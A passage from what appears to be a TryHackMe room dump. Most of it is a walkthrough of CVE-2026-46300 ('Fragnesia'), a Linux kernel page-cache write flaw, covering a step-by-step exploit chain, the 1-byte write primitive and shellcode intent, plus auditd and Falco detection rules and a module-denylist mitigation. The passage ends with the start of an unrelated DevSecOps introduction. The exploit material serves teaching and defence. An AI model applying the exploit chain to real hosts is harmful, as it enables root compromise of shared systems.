<code>skb_try_coalesce()</code> commit from 2013 (<code>cef401de7be8</code>). The tags tell two stories in two lines: the immediate trigger, and the latent precondition.</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778925794757.svg\" alt=\"Timeline and side-by-side comparison showing how the Dirty Frag patch created Fragnesia. The timeline runs from 2013 (skb_try_coalesce introduced, commit cef401de7be8) through 8 May 2026 (Dirty Frag patch merged, commit f4c50a4034e6) to 13 May 2026 (Fragnesia disclosed, CVE-2026-46300) and 15 May 2026 (second variant in skb_segment, unpatched), with a red bracket highlighting the five-day gap between the Dirty Frag patch and the Fragnesia disclosure. Below the timeline, two panels compare pre-patch versus post-patch behaviour. The pre-patch panel labelled latent shows that esp_input did not check the shared-frag flag and the flag-strip bug had no production consumer. The post-patch panel labelled exploitable shows that esp_input now checks the shared-frag flag but skb_try_coalesce still drops it, making the page cache write reachable as a trivial local privilege escalation.\" width=\"80%\" /></p>\n<h2>The Patch Series</h2>\n<p>The candidate Fragnesia patch (<code>f84eca581739</code>, on the netdev list since 13 May 2026) is anchored on a two-line change to <code>skb_try_coalesce()</code>. When transferring paged fragments between buffers, the patched function now propagates the <code>SKBFL_SHARED_FRAG</code> flag from the source skb to the destination skb. The invariant <code>esp_input()</code> depends on is restored.</p>\n<p>The full series is larger than the headline two-line fix suggests. Beyond the core repair to <code>skb_try_coalesce()</code>, it includes a flag-propagation fix in <code>pskb_copy()</code>, an XFRM change to avoid in-place decrypt on shared skb fragments, and a cluster of follow-up fixes to rxrpc covering DATA and RESPONSE packet unsharing, re-decryption of RESPONSE packets, rxkad alignment, memory leaks in <code>rxkad_verify_response()</code>, and a potential use-after-free. The size of the follow-up series is itself an indicator that the bug class is broader than any single bug.</p>\n<p>The implication is broader still. The same audit should be repeated for every function that transfers fragments between skbs, because any function that strips the flag is potentially another Fragnesia waiting for a downstream consumer to make a decision based on it.</p>\n<h2>The Second Variant</h2>\n<p>On 15 May 2026, two days after the initial Fragnesia disclosure, the same V12 researcher published a second variant. This variant bypasses the merged fix by exploiting <code>skb_segment()</code> instead of <code>skb_try_coalesce()</code>. The function propagates <code>SKBFL_SHARED_FRAG</code> only from the head skb when building GSO segments, so a frag_list member carrying page-cache-backed fragments with the flag set will produce segment skbs that have lost the marker.</p>\n<p>Triggering the second variant requires three network namespaces connected by veth pairs and is less reliable than the first because it depends on GRO coalescing two segments in the same NAPI poll cycle. As of the room's publication date, the second variant has no merged fix. A separate patch has been proposed on netdev that would incidentally help, but it was not written to address this specific bug.</p>\n<p>The operational point is that Fragnesia is unlikely to be the last vulnerability of its shape. The bug class is invariant violations on <code>SKBFL_SHARED_FRAG</code>. Every function in the kernel's skb plumbing that transfers fragments is a candidate location for the next instance.</p>\n<p><strong>Info:</strong> The original Dirty Frag bugs took nine years and six years respectively to be found from their introducing commits. Fragnesia took five days to be found from the commit that introduced it. The rate of discovery in this code area has shifted, and the V12 team has publicly attributed part of that to agentic AI-assisted auditing. Whether or not that framing is accurate, the operational reality is that defenders should treat kernel patches in this subsystem as changes to the attack surface, not as completed mitigations.</p> How a Patch Becomes a Vulnerability <p>Fragnesia is a single chain involving five components, four of which existed before the Dirty Frag patch was written. The fifth is what the Dirty Frag patch added. Understanding how the chain works requires walking through the components individually, then seeing how the patch changed which paths could reach the in-place decryption sink.</p>\n<h2>SKBFL_SHARED_FRAG: The Honesty Flag</h2>\n<p>A socket buffer (<code>struct sk_buff</code>) carries an array of fragments, each describing a memory page that belongs to the packet. Most fragments are private buffers owned by the network stack. Some, however, are references to pages that belong to other subsystems, most commonly the page cache. When a process calls <code>splice()</code> to send a file's contents through a socket, the kernel attaches a reference to the file's page-cache page directly to the outgoing skb's fragment list, without copying any bytes.</p>\n<p>The <code>SKBFL_SHARED_FRAG</code> flag is the kernel's way of marking such fragments as externally owned. The flag tells every downstream code path one thing: \"this memory does not belong to you; if you need to modify it, copy it first.\" Functions that need to mutate skb data check <code>skb_has_shared_frag()</code> and call <code>skb_cow_data()</code> to obtain a private buffer before doing anything destructive.</p>\n<p>The flag is an invariant. As long as every code path that touches a shared fragment respects it, page-cache pages stay safe even as they pass through the network stack.</p>\n<h2>skb_try_coalesce: Where the Invariant Breaks</h2>\n<p><code>skb_try_coalesce()</code> is a kernel function that merges two skbs into one. It is used by the TCP stack on the receive side to combine queued segments into larger buffers, reducing memory overhead and improving throughput. When two skbs are coalesced, the second skb's fragments are transferred onto the first skb's fragment array, and the second skb is freed.</p>\n<p>This is where the bug lives. When <code>skb_try_coalesce()</code> transfers paged fragments between buffers, it does not propagate the <code>SKBFL_SHARED_FRAG</code> marker on those fragments. The coalesced skb ends up carrying fragments that are still backed by the page cache, but with the flag cleared. To every downstream code path, the coalesced skb now looks like a perfectly ordinary private buffer that can be modified in place.</p>\n<p>The bug was introduced in 2013 (commit <code>cef401de7be8</code>) and sat dormant for thirteen years, because for most of that time no production code path looked at coalesced skbs and decided to write to them. The Dirty Frag patch changed that.</p>\n<h2>The XFRM ESP-in-TCP Receive Path</h2>\n<p>ESP-in-TCP (RFC 8229) is an IPsec transport mode that encapsulates ESP packets inside a TCP stream. It is used in NAT-traversal scenarios where UDP-based ESP encapsulation does not work. When a TCP socket is configured for espintcp via <code>setsockopt</code>, the kernel switches the socket's Upper Layer Protocol (ULP) handler to one that pulls ESP packets out of the TCP byte stream and feeds them to <code>esp_input()</code>.</p>\n<p><code>esp_input()</code> is the function the original Dirty Frag bug lived in. It performs AEAD decryption on the incoming packet's payload, writing the plaintext back into the skb. For performance, the decryption is done in place when the input skb is uncloned and has no frag list. The function calls <code>skb_has_shared_frag()</code> to verify that none of the fragments are externally backed. If the flag is clear, the function takes the fast path; if it is set, the function falls back to allocating a private buffer via <code>skb_cow_data()</code> before decrypting.</p>\n<p>This is exactly the check the Dirty Frag patch added. Before the patch, the function did not always honour the flag. After the patch, the function does. The patch was correct. The flag, however, is no longer trustworthy after <code>skb_try_coalesce()</code> strips it.</p>\n<h2>The Combination That Becomes Fragnesia</h2>\n<p>Putting the four components together produces the chain:</p>\n<pre><code class=\"language-markdown\">1. Attacker opens a TCP socket and splices /usr/bin/su's page cache pages\n   into the socket's receive queue (skbs are flagged SKBFL_SHARED_FRAG).\n2. Kernel coalesces queued skbs via skb_try_coalesce(); the flag is lost.\n3. Attacker calls setsockopt(TCP_ULP, \"espintcp\") to switch the socket to\n   ESP-in-TCP mode. Queued data is now processed as ESP ciphertext.\n4. esp_input() checks the (now-clear) shared-frag flag, takes the fast\n   path, performs AES-GCM decryption in place over the page cache page.\n5. The decryption is a XOR of the AES-GCM keystream against the ciphertext.\n   By choosing the IV, the attacker chooses the keystream byte, which\n   chooses the byte written into the page cache.</code></pre>\n<p>The technique is called Fragnesia (a portmanteau of \"fragment\" and \"amnesia\") because the socket buffer forgets that its fragment was shared.</p>\n<h2>Why the Corruption Becomes Host Root</h2>\n<p>The corruption sits in the kernel's global page cache, which is shared between every process on the host regardless of which namespace any of those processes lives in. The attacker performs the corruption from inside a user namespace where they hold namespace-root, but the corrupted bytes are visible to any process that subsequently reads the same file, including privileged processes running outside the namespace.</p>\n<p>The privilege escalation completes when a setuid-root binary like <code>/usr/bin/su</code> is executed from outside the namespace. The kernel loads the binary from the corrupted page cache, sees the setuid bit on the on-disk file, sets effective UID to 0, and then executes the attacker's shellcode under that effective UID. The shellcode calls <code>setuid(0)</code>, which promotes the calling process to real UID 0, and then <code>execve(\"/bin/sh\")</code>, which spawns a host-root shell.</p>\n<p>This two-stage pattern matters for the practical exploit walkthrough in Task 4. The published proof-of-concept performs only stage one (the corruption) and demonstrates its success by spawning a shell from inside the namespace. That shell appears to be root by <code>whoami</code>, but it cannot read root-owned files because it is namespace-root, not host-root. Stage two, which is what produces the usable host-root shell, is triggered by the operator running <code>/usr/bin/su</code> manually from outside the namespace after the proof-of-concept exits.</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778925769795.svg\" alt=\"Diagram of how skb_try_coalesce strips the SKBFL_SHARED_FRAG marker. Top half shows two source skbs, A and B, each with a linear TCP header section and a frag slot containing a page-cache page from /usr/bin/su with SHARED_FRAG=1 set. Both skbs feed into a red box in the centre labelled skb_try_coalesce(), which merges skb B's fragments onto skb A and silently drops the SHARED_FRAG flag, a behaviour latent since 2013 commit cef401de7be8. The bottom half shows the resulting coalesced skb with two frag slots, both still backed by page cache pages but with SHARED_FRAG=0. Downstream code calling skb_has_shared_frag() now gets false, so esp_input() takes the fast path and performs AES-GCM decryption in place over the cached file pages.\" width=\"78%\" /></p>\n<h2>The 1-Byte Write Primitive</h2>\n<p>Each AES-GCM decryption produces a one-byte controlled write into the page cache at one chosen offset. The attacker controls the byte by varying the lower 32 bits of the 8-byte IV. Encrypting the counter block under the known AES-128-GCM key yields a 16-byte keystream; only the byte at position 2 byte 0 is used. By iterating the IV nonce through up to 65,536 values, all 256 possible byte values are reachable.</p>\n<p>The exploit pre-computes a 256-entry lookup table mapping target bytes to the IV values that produce them. With the table built, each write is a single trigger that completes in microseconds. The public proof-of-concept overwrites the first 192 bytes of <code>/usr/bin/su</code> with a small ELF stub that calls <code>setgid(0); setuid(0); execve(\"/bin/sh\", ...)</code> at its entry point. The exploit's per-byte loop skips bytes whose current value already matches the desired stub; against <code>/usr/bin/su</code> on a typical Linux system, around sixteen bytes coincide (most of the ELF header), so roughly 176 actual triggers run. The full sequence completes in a few hundred milliseconds.</p>\n<p>The on-disk file is never touched. File integrity tools that hash from disk continue to report the file as clean. This is identical to the behaviour seen in Copy Fail and Dirty Frag, and the consequences are the same.</p> Detection and Mitigation <p>The Fragnesia exploitation pattern is detectable in real time through the same syscall-monitoring approach used for Copy Fail and Dirty Frag, with one specific signal that is new to this CVE.</p>\n<h2>Detection</h2>\n<p>The exploit's signature is a sequence of system calls that no legitimate application produces:</p>\n<ul>\n<li><code>unshare(CLONE_NEWUSER | CLONE_NEWNET)</code> followed by writes to <code>/proc/self/uid_map</code></li>\n<li><code>socket(AF_ALG, ...)</code> calls used to build the keystream lookup table</li>\n<li>A <code>socket(AF_INET, SOCK_STREAM)</code> followed shortly by <code>setsockopt(SOL_TCP, TCP_ULP, \"espintcp\")</code></li>\n<li><code>splice()</code> from a setuid binary file descriptor into the same TCP socket</li>\n<li>A burst of <code>XFRM_MSG_NEWSA</code> netlink messages registering a security association with a known AES-128-GCM key</li>\n<li>An eventual <code>execve(\"/usr/bin/su\", ...)</code> and a child process running with effective UID 0</li>\n</ul>\n<p>The <code>TCP_ULP = \"espintcp\"</code> setsockopt is the highest-fidelity single signal. Legitimate use of espintcp is rare; it is primarily seen in strongSwan deployments configured for NAT traversal in environments where UDP-encapsulated ESP does not work. A process outside that small set of daemons issuing the setsockopt is unusual; a process outside that set issuing the setsockopt and then immediately splicing a setuid binary into the socket is exploitation.</p>\n<p><img style=\"display:block;margin-left:auto;margin-right:auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778925830227.svg\" alt=\"Diagram of the Fragnesia syscall sequence with detection points. An unprivileged user on the left feeds into six numbered steps that execute against the Linux kernel on the right. Step 1, unshare with CLONE_NEWUSER and CLONE_NEWNET, monitored via auditd rule on unshare with a0=0x10000000. Step 2, AF_ALG SOCK_SEQPACKET socket creation, monitored via Falco rule for AF_ALG sockets from non-kcapi processes. Step 3, opening a TCP socket and splicing /usr/bin/su into it, monitored via Falco rule on splice from setuid binary into a TCP socket, marked as a high-fidelity signal. Step 4, setsockopt with TCP_ULP set to espintcp, monitored via Falco rule for non-strongSwan processes activating espintcp, the highest-fidelity single signal. Step 5, 192 in-place AES-GCM decryption triggers monitored via XFRM SA traffic telemetry on loopback. Step 6, execve of /usr/bin/su yielding a UID 0 child, monitored via auditd correlation across the prior steps.\" width=\"80%\" /></p>\n<p>An auditd rule that captures the setsockopt path:</p>\n<pre><code class=\"language-markdown\">-a always,exit -F arch=b64 -S setsockopt -F a0!=-1 -k fragnesia_setsockopt\n-a always,exit -F arch=b64 -S unshare -F a0=0x10000000 -k fragnesia_unshare\n-a always,exit -F arch=b64 -S splice -k fragnesia_splice</code></pre>\n<p>The first rule logs all setsockopt calls (the auditd kernel API does not allow filtering on the optname argument directly); correlation has to happen in the SIEM. The second logs <code>unshare()</code> calls that include <code>CLONE_NEWUSER</code> (<code>0x10000000</code>). The third logs all splice calls, which can be high-volume; restrict the scope by adding <code>-F path=/usr/bin/su</code> or similar if your audit subsystem supports it.</p>\n<p>A Falco rule that captures the Fragnesia-specific signal of espintcp ULP activation after a splice from a setuid binary into the same TCP socket:</p>\n<pre><code class=\"language-markdown\">- list: setuid_binaries\n  items: [/usr/bin/su, /bin/su, /usr/bin/sudo, /usr/bin/passwd, /usr/bin/chsh]\n\n- macro: espintcp_legitimate_processes\n  condition: &gt;\n    proc.name in (charon, charon-systemd, pluto, swanctl)\n\n- rule: Potential Fragnesia exploit (espintcp ULP after splice)\n  desc: &gt;\n    Detects an unprivileged process that splices a setuid binary into a\n    TCP socket and then activates the espintcp ULP on it, the trigger\n    pattern for CVE-2026-46300.\n  condition: &gt;\n    (evt.type = splice and fd.name in (setuid_binaries)) or\n    (evt.type = setsockopt and evt.arg.optname = TCP_ULP and\n     not espintcp_legitimate_processes)\n  output: &gt;\n    Potential Fragnesia trigger\n    (user=%user.name uid=%user.uid command=%proc.cmdline pid=%proc.pid\n     fd=%fd.name container_id=%container.id)\n  priority: CRITICAL\n  tags: [host, exploit, privilege_escalation, cve_2026_46300]</code></pre>\n<p>The first arm of the condition catches the page-cache page entering the TCP socket. The second arm catches the espintcp ULP activation that triggers the in-place AES-GCM decryption. Either signal alone is suspicious; both signals in the same process within a few seconds is exploitation. Note that the legitimate-process allowlist for espintcp ULP is small — strongSwan's <code>charon</code> daemon and a handful of related IKE daemons. Any process outside that list activating espintcp warrants investigation.</p>\n<h2>Key Syscalls to Monitor</h2>\n<table>\n<thead>\n<tr>\n<th>Syscall</th>\n<th>What to Watch For</th>\n<th>Relevance</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>unshare(CLONE_NEWUSER | CLONE_NEWNET)</code></td>\n<td>Unprivileged process creating both namespaces</td>\n<td>High-confidence first step</td>\n</tr>\n<tr>\n<td><code>setsockopt(TCP_ULP, \"espintcp\")</code></td>\n<td>Process not in known strongSwan/IPsec daemon list</td>\n<td>Specific to Fragnesia, very low false positive</td>\n</tr>\n<tr>\n<td><code>socket(AF_ALG, ...)</code> with <code>SOCK_SEQPACKET</code></td>\n<td>Process not in <code>kcapi-*</code> or <code>cryptsetup</code> set</td>\n<td>Same signal used in Copy Fail detection</td>\n</tr>\n<tr>\n<td><code>splice()</code> from a setuid binary fd to a TCP socket fd</td>\n<td>Page-cache page entering the TCP receive queue</td>\n<td>Trigger preparation</td>\n</tr>\n<tr>\n<td><code>XFRM_MSG_NEWSA</code> netlink with known weak key</td>\n<td>Unusual SA registration pattern</td>\n<td>Bulk SA registration in microseconds</td>\n</tr>\n</tbody>\n</table>\n<h2>MITRE ATT&amp;CK Mapping</h2>\n<table>\n<thead>\n<tr>\n<th>Technique</th>\n<th>MITRE ID</th>\n<th>Where it appears</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Exploitation for Privilege Escalation</td>\n<td>T1068</td>\n<td>The kernel LPE itself</td>\n</tr>\n<tr>\n<td>Abuse Elevation Control Mechanism: Setuid and Setgid</td>\n<td>T1548.001</td>\n<td><code>execve(\"/usr/bin/su\")</code> after page cache corruption</td>\n</tr>\n<tr>\n<td>Escape to Host</td>\n<td>T1611</td>\n<td>When the exploit is run from inside a container</td>\n</tr>\n<tr>\n<td>Indicator Removal</td>\n<td>T1070</td>\n<td>Manual <code>drop_caches</code> after exploitation</td>\n</tr>\n</tbody>\n</table>\n<h2>Mitigation</h2>\n<p>The candidate upstream fix is commit <code>f84eca581739</code>, posted to the netdev mailing list on 13 May 2026. It is a two-line change to <code>skb_try_coalesce()</code> that preserves the <code>SKBFL_SHARED_FRAG</code> marker when transferring paged fragments. At the time the room was prepared, the patch was awaiting maintainer review and not yet merged to Linus's tree.</p>\n<p>Distribution patches are arriving in advance of the mainline merge. AlmaLinux released patched kernels for AL8, AL9, and AL10 in its testing repository on 13 May, refreshed the builds on 14 May to incorporate the follow-up patches, and is moving them to production once community testing completes. CloudLinux, SUSE, Debian, and Ubuntu have published advisories; per-release status varies and updates as patches land.</p>\n<p>Until your distribution ships a patched kernel, the same modprobe denylist used for Dirty Frag is effective against Fragnesia.</p>\n<p><strong>Step 1: Apply the Module Denylist</strong></p>\n<pre><code class=\"language-bash\">sudo sh -c 'printf \"install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n\" &gt; /etc/modprobe.d/dirtyfrag.conf'\nsudo rmmod esp4 esp6 rxrpc 2&gt;/dev/null\nsudo sh -c 'echo 3 &gt; /proc/sys/vm/drop_caches'</code></pre>\n<p>The configuration file blocks future loads of <code>esp4</code>, <code>esp6</code>, and <code>rxrpc</code>. The <code>rmmod</code> line unloads any currently-loaded copies. The <code>drop_caches</code> line evicts any corrupted pages already in the cache.</p>\n<p><strong>Step 2: Verify the Block Is Active</strong></p>\n<pre><code class=\"language-bash\">sudo modprobe esp4</code></pre>\n<p>The command should return an error. The module is blocked from loading.</p>\n<p><strong>Step 3: Confirm the PoC Fails</strong></p>\n<p>Re-run the exploit:</p>\n<pre><code class=\"language-bash\">/home/karen/fragnesia/exp</code></pre>\n<p>The exploit should fail when the espintcp ULP setsockopt is rejected because the <code>esp4</code> module is no longer available. The chain cannot proceed past that point.</p>\n<p><strong>Warning:</strong> The denylist breaks legitimate use of IPsec ESP and AFS RxRPC. Production hosts running strongSwan, libreswan, or AFS clients should not apply this mitigation; they need a patched kernel instead. For development and lab environments and for most server workloads that do not use these protocols, the modules are unused and the denylist is safe. Importantly, organisations that applied the modprobe denylist as part of the Dirty Frag mitigation are already protected against Fragnesia. Organisations that applied only the Dirty Frag kernel patch are not.</p>\n<h2>Patch Status at Disclosure</h2>\n<p>The Fragnesia disclosure compressed the typical patch-then-disclosure timeline. The PoC, the candidate patch, and the public writeup all appeared on the same day, with no embargo. The two-line nature of the fix and the small number of <code>Fixes:</code> tags it carries (two) hint that the same code area will receive more audit attention in the coming weeks, and the unpatched second variant in <code>skb_segment()</code> is already evidence of that.</p>\n<p>The kernels affected span every release before 13 May 2026 that includes the Dirty Frag fix. Older kernels without the Dirty Frag fix have the underlying <code>skb_try_coalesce()</code> bug but no consumer that makes a decision based on the stripped flag; they are technically affected by the latent defect but not exploitable via Fragnesia specifically.</p> Conclusion <p>Fragnesia is a one-byte page-cache write primitive in the Linux kernel that arose from a regression introduced by an earlier security patch. It is the third vulnerability in this class to be disclosed in three weeks, alongside Copy Fail and Dirty Frag, and the second variant published two days after the initial disclosure remains unpatched as of the room's publication date.</p>\n<p>Two operational lessons from this chain of disclosures deserve to be carried forward.</p>\n<p>The first lesson is that kernel patches are not containment events for a bug class. The Dirty Frag fix closed the original bugs, but it did so by introducing new code that trusts an invariant. The invariant was not audited, and the audit gap became Fragnesia. Defenders responsible for kernel-adjacent attack surfaces should treat each patch in subsystems like XFRM, AF_ALG, io_uring, BPF, and RxRPC as a change to the attack surface rather than a completed mitigation. Subsequent audits in the same subsystem are warranted, not optional.</p>\n<p>The second lesson is that the page-cache write class is sufficiently general that distribution patches do not solve the problem on their own. The on-disk file is never touched, so file integrity tools miss the corruption entirely. Detection has to happen at the syscall layer, in real time, with rules that watch for the syscall sequences that no legitimate application produces. Filesystem forensics alone will not surface this attack after the fact.</p>\n<p>A third operational consideration applies to container environments. The page cache is shared across all processes that use the same kernel, including every container on the same host. A containerised process that can create unprivileged user namespaces, which is the default in rootless Docker and Podman deployments, has every prerequisite the Fragnesia exploit needs. Privileged containers are not required, nor is any special capability. Multi-tenant Kubernetes clusters, shared CI runners, and any host running rootless container workloads should be treated as exposed until a patched kernel is in place.</p>\n<p>The kernel update to a build that includes the merged Fragnesia fix should be applied as soon as your distribution makes one available. The modprobe denylist of <code>esp4</code>, <code>esp6</code>, and <code>rxrpc</code> is an effective interim control on hosts that do not depend on those modules, and protects against the unpatched second variant as well. Defenders running strongSwan, libreswan, or AFS clients in production will need to wait for vendor-backported patches.</p>","timeToComplete":30,"title":"CVE-2026-46300: Fragnesia","type":"walkthrough","order":1},{"_id":"6a0ee71b40747caaa3496169","businessOnly":false,"code":"devsecopsbasics","collaborator":[],"contentDropPriority":0,"description":"Learn about the story of DevSecOps, Software Development Models & Shifting Left.","difficulty":"medium","difficultyLevel":3,"flags":{"isAzureContent":false},"freeToUse":true,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/6228f0d4ca8e57005149c3e3-1779362236690","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/6228f0d4ca8e57005149c3e3-1779362633141","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":1967,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-21T15:00:34.957Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Purple","label":"Purple","weight":5,"category":"PoV","_id":"6a1696845ba5af21a079fe56"},{"tag":"General Cyber","label":"General Cyber","weight":5,"category":"Job Roles","_id":"6a1696845ba5af21a079fe57"},{"tag":"Security Engineer","label":"Security Engineer","weight":5,"category":"Job Roles","_id":"6a1696845ba5af21a079fe58"},{"tag":"DevSecOps","label":"DevSecOps","weight":5,"category":"Skills","_id":"6a1696845ba5af21a079fe59"}],"tags":["Purple","General Cyber","Security Engineer","DevSecOps"],"taskSearchText":" DevOps: A New Era <p>Since its inception, Developer Operations (DevOps) has become a significant influence in modern Software Development, Deployment and Operations. But where did the term come from?</p>\n<hr />\n<h2>The Story of DevOps</h2>\n<p>A long time ago, we used waterfalls.</p>\n<h3>Waterfall Model</h3>\n<p>This is the name given to how project management was approached back in the day (the 70s). The cycle constituted and relied on a <em>hierarchy</em>, where every member had a specific responsibility. For example, System admins worked tirelessly to keep everything running smoothly and afloat. Developers build and add as many features as possible, and finally, Quality Assurance (QA) engineers test the system's functionality, ensuring everything works as expected.</p>\n<p><img style=\"display:block;max-width:480px;width:100%;margin:1.75rem auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/21ff900651b19689600a2a7d0cd2fcea.png\" alt=\"Diagram for Waterfall Software Development Model stages\" /></p>\n<p>If anything troubles the servers or something needs deployment, sysadmins will jump on it. If it's a code problem, devs will put out the fire. If there is anything to do with testing functionality and feedback, Quality Assurance teams will take care of it. But what if there is a flaw? A bug? Who fixes it? These situations led to many blame games and passing the baton around that created friction, things would get backlogged, and the symbiosis between teams would end up not working anymore. As the number of customer expectations grew, features and new releases increased. Responsibilities and tasks would end up being an accumulative, giant mess. Bugs and security flaws were backlogged, plenty of these unresolved, and more releases scheduled, which would be not scalable and messy. Excessive noise and pressure led to distrust, communication gaps, and friction between teams.</p>\n<p>This popular problem-solving strategy and system became a root cause of ineffectiveness in flexibility and communication across teams.</p>\n<h3>Agile Model</h3>\n<p>With the challenges teams were facing with waterfall, businesses started developing ways that allowed more flexibility and adaptability. Somewhere in early 2000, <strong>The Agile Methodology</strong> was coined. Soon, a manifesto was released: <a href=\"http://agilemanifesto.org/\" target=\"_blank\">Agile Manifesto</a>, emphasising four values for agile development:</p>\n<p><img style=\"display:block;max-width:480px;width:100%;margin:1.75rem auto\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/db09323bd5eed6fb32de796bdb20196f.png\" alt=\"Diagram for Agile Software Development Model stages\" /></p>\n<ul>\n<li>Individuals and interactions over processes and tools</li>\n<li>Working software over comprehensive documentation</li>\n<li>Customer collaboration over contract negotiation</li>\n<li>Responding to change vs following a plan</li>\n</ul>\n<p>Companies now value team collaboration and rely on self-organising teams, focusing on clients and plenty of room for change and flexibility.</p>\n<p>But something was still missing.</p>\n<p>In 2008, a conversation between Andrew Clay and Patrick Debois led to something quite revolutionary. While discussing the drawbacks of Agile, DevOps was born. After an event in Belgium the following year called \"DevOpsDays,\" DevOps became the next buzzword, and its popularity increased.</p>\n<p>DevOps is quite different from the previous methodologies because it focuses on driving \"cultural change\" to increase efficiency. It does this by uniting the magic of all teams working on a project, using integration and automation. With these ingredients, you get a cross-integration across all departments, QA + sysadmins + developers. For example, ensuring developers can now be involved in deployment and sysadmins can now write scripts, QA can figure out how to fix flaws vs constantly testing for functionality. By introducing automation and integration of systems, these engineers can now have the same visibility at all times and interact accordingly. We will dive more into how DevOps does this in the latter rooms as we talk about pipelines, automation, Continuous Integration and Continuous Delivery (CI/CD).</p>\n<h2>Why is DevOps Important?</h2>\n<p>DevOps builds a philosophy that emphasises building trust and better liaising between developers and other teams (sysadmins, QA, etc.). This helps the organisation align technological projects to business requirements, increasing the impact and value to the business as projects become more efficient and prioritised accordingly. Changes rolled out are usually small and reversible, visible to all teams involved. This ensures better contribution and communication that helps with the pace and an increased competency when delivering work.</p>\n<h2>In Summary</h2>\n<p>Thanks to the advent of DevOps, today's development infrastructure is fully automated and operates on a self-service basis:</p>\n<ul>\n<li>Developers can provide resources to public clouds without depending on IT to provision infrastructure, which in the past led to weeks to months of delays.</li>\n<li>Continuous integration and deployment (CI/CD) processes automatically set up testing, staging, and production environments in the cloud or on-premises. They can be decommissioned, scaled, or re-configured as needed.</li>\n<li>Infrastructure-as-Code (IaC) is widely used to deploy environments declaratively, using tools like Terraform and Vagrant.</li>\n<li>Organisations can now provision containerised workloads dynamically using automated, adaptive processes.</li>\n</ul>\n<p>*The declarative approach requires that users specify the end state of the infrastructure — for example, deploy these machines in a running state directly into an environment, automating the configuration choices throughout the workflow. The software builds it and releases it with no human interaction.</p>\n<p>The imperative/procedural approach takes action to configure systems in a series of actionable steps. For example, you might declare to deploy a new version of the software and automate a series of steps to get a deployment-ready state. You choose when to apply those changes at the end by adding a \"gate\" — this gate could be a button to release the changes, e.g. \"deploy changes\" button, after all the automated checks and new configurations pass.</p>\n<p>In such a workflow, even a tiny problem could create a mess. Moreover, as the number of new releases increases (the actual case), the whole matter may turn disastrous. Things would surely go out of hand with an issue still unresolved and plenty of features scheduled to be released.</p>\n<p>Read more at: <a href=\"https://www.appknox.com/blog/history-of-devops\" target=\"_blank\">https://www.appknox.com/blog/history-of-devops</a></p> Shifting Left  <p><span style=\"font-size:24px\">Introduction</span></p>\n<p>Security can now be easily integrated because of the visibility and flexibility that DevOps introduces. You might have heard of the concept \"Shifting Left.\" This means that <span class=\"ILfuVd\"><span class=\"hgKElc\"> DevOps teams focus on instilling security from the earliest stages in the development lifecycle and introducing a more collaborative culture between development and security. </span></span></p>\n<p><span class=\"ILfuVd\"><span class=\"hgKElc\">Since security can now be introduced early, risks are reduced massively. In the past, you would find out about security flaws and bugs at the very late stages, even in production. Therefore leading to stress, rollbacks, and economic losses. Integrating code analysis tools and automated tests earlier in the process can now identify these security flaws during early development.</span></span></p>\n<p><span style=\"font-size:24px\">Shifting Left</span></p>\n<p>In the past, security testing was implemented at the end of the development cycle. As the industry evolved and security functions were introduced, security teams would perform various analyses and security testing in the final stages of the lifecycle. </p>\n<p>Depending on the results of security testing, it would either permit the application to proceed for deployment into production or reject the application and pass it back to developers for remediating the flaws identified. This resulted in long delays in development and friction between teams.</p>\n<p>Implementing security measures during all stages of the development lifecycle (shifting left) rather than at the end of the cycle will ensure the software is designed with security best practices built in. By detecting security flaws early in development, remediation costs are lower, and there would be no need to roll back changes as they are being addressed on time. This reduces cost, builds trust, and improves the security and quality of the product.</p>\n<p><span class=\"ILfuVd\"><span class=\"hgKElc\"><span style=\"font-size:24px\">Why are we shifting left</span></span></span></p>\n<p>Back in the day, before agile, developers would request infrastructure from IT and receive servers weeks or months later. Nowadays, this provisioning of infrastructure in the cloud is automated. <span style=\"font-size:1rem\">This shift has improved development productivity and speed. However, this increased velocity can also spark security concerns and lead to flaws that can go unnoticed. </span></p>\n<p align=\"center\"><img class=\"note-float-left\" style=\"width:565.861px;height:239.742px\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/2078c48d1463aaf4245f2ed0d1175cab.png\" alt=\"Shifting Left Benefits\" /></p>\n<div style=\"text-align:left\"><span style=\"font-size:1rem\">The Shift-Left approach ensures these flaws are caught early by introducing processes from the start. In this fast-paced environment, post-development security reviews of new software versions or analysis of cloud infrastructure configurations become a bottleneck. Even when problems are discovered, there is not enough time to remediate them before the next version or feature is introduced. To keep up with customer needs, they need a fast-paced environment for scaling and growth. Security is at risk of being left behind; instilling security in the beginning and adapting security testing to become flexible and adapted to the development lifecycle increases the chances of addressing things promptly.</span></div>\n<p><span class=\"ILfuVd\"><span class=\"hgKElc\">This development approach to shifting left in DevOps can be referred to as <strong>DevSecOps.</strong></span></span></p>\n<div style=\"position:absolute;left:-99999px\">Yes, you heard it right. With DevOps, security gets introduced early in the development cycle, which minimizes risks massively. Integrating code analysis tools and automated tests earlier can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would enhance the impact of DevOps and eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now but certainly an obligation.<br />Read more at: <a 